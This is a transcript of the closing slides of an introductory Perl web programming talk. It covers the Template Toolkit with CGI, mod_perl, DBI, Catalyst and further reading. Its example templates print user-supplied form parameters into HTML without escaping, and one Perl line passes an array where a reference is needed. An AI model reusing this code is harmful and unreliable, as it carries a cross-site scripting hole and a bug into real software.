  349. 349. Simple Templating <ul><li>See perlfaq4 </li><ul><li>“How can I expand variables in text strings?” </li></ul><li>Everyone writes a templating system
  350. 350. Most people release their templating system to CPAN
  351. 351. Please don't do that </li></ul>
  352. 352. Templating Systems <ul><li>Many templating systems on CPAN
  353. 353. Text::Template
  354. 354. HTML::Template
  355. 355. HTML::Mason
  356. 356. Template Toolkit
  357. 357. Many more
  358. 358. I choose the Template Toolkit </li></ul>
  359. 359. Template Toolkit <ul><li>Flexible templating system
  360. 360. Equally useful in web and non-web applications
  361. 361. Simple templating language </li><ul><li>Not perl </li></ul></ul>
  362. 362. Good Book Too
  363. 363. CGI Using Templates <ul><li>Create an output template containing your HTML
  364. 364. CGI program acts largely as before </li><ul><li>Processes inputs
  365. 365. Determines outputs
  366. 366. Passes outputs to template processor </li></ul></ul>
  367. 367. Template Example <ul><li>#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; my $name = param('name'); my $sex = param('sex'); my @drink = param('drink'); print header; $tt->process('form.tt', { name => $name, sex => $sex, drink => @drink }) or die $tt->error; </li></ul>
  368. 368. Template Example <ul><li><html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% name %]</b></p> <p>Your sex is <b>[% sex %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN drink -%] <li>[% d %]</li> [% END %] </ul> </body> </html> </li></ul>
  369. 369. Simpler Templates <ul><li>#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; print header; $tt->process('form2.tt') or die $tt->error; </li></ul>
  370. 370. Simpler Templates <ul><li>[% USE CGI -%] <html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% CGI.param('name') %]</b></p> <p>Your sex is <b>[% CGI.param('sex') %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN CGI.param('drink') -%] <li>[% d %]</li> [% END %] </ul> </body> </html> </li></ul>
  371. 371. More Information
  372. 372. More Information <ul><li>A really quick overview of web programming with Perl
  373. 373. Skimmed over a lot of detail
  374. 374. Some ideas for other things to investigate
  375. 375. Other sources of information </li></ul>
  376. 376. Things Missed Out <ul><li>CGI.pm </li><ul><li>Far more functionality that we have covered
  377. 377. CGI environment functions
  378. 378. Sticky fields
  379. 379. Multi-page forms
  380. 380. More complex HTML generation
  381. 381. See “perldoc CGI” </li></ul></ul>
  382. 382. Alternatives to CGI <ul><li>CGI can be slow
  383. 383. Perl starts up for every page visit
  384. 384. Doesn't scale well
  385. 385. Alternatives approaches
  386. 386. mod_perl
  387. 387. Embeds a Perl interpreter in Apache
  388. 388. Much faster and more flexible </li></ul>
  389. 389. Storing Data <ul><li>Most web applications will deal with a database
  390. 390. Storing and retrieving data
  391. 391. Standard Perl database interface </li><ul><li>DBI </li></ul><li>More advanced database interfaces </li><ul><li>DBIx::Class </li></ul></ul>
  392. 392. Web Frameworks <ul><li>Web frameworks are very fashionable
  393. 393. Model (database)
  394. 394. View (templates)
  395. 395. Controller (logic)
  396. 396. MVC framework
  397. 397. e.g. Ruby on Rails </li></ul>
  398. 398. Perl Frameworks <ul><li>Perl has MVC frameworks
  399. 399. Most popular is probably Catalyst
  400. 400. DBIx::Class + Template Toolkit
  401. 401. See Matt Trout's Tutorial after lunch </li></ul>
  402. 402. Sources of Information <ul><li>Documentation for Perl modules at CPAN </li><ul><li>http://search.cpan.org/ </li></ul><li>CGI.pm </li><ul><li>http://search.cpan.org/dist/CGI.pm </li></ul><li>Template Toolkit </li><ul><li>http://search.cpan.org/dist/Template-Toolkit
  403. 403. http://tt2.org/ </li></ul></ul>
  404. 404. Books <ul><li>CGI Programming with Perl </li><ul><li>Guelich, Gundavaram, Birznieks </li></ul><li>Writing CGI Applications with Perl </li><ul><li>Meltzer, Michalski </li></ul><li>Official Guide to Programming with CGI.pm </li><ul><li>Stein </li></ul></ul>
  405. 405. That's All Folks <ul><li>Thank you for listening
  406. 406. Any questions?
  407. 407. I'll be around all day
  408. 408. Feel free to email me </li><ul><li>[email_address] </li></ul></ul>
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×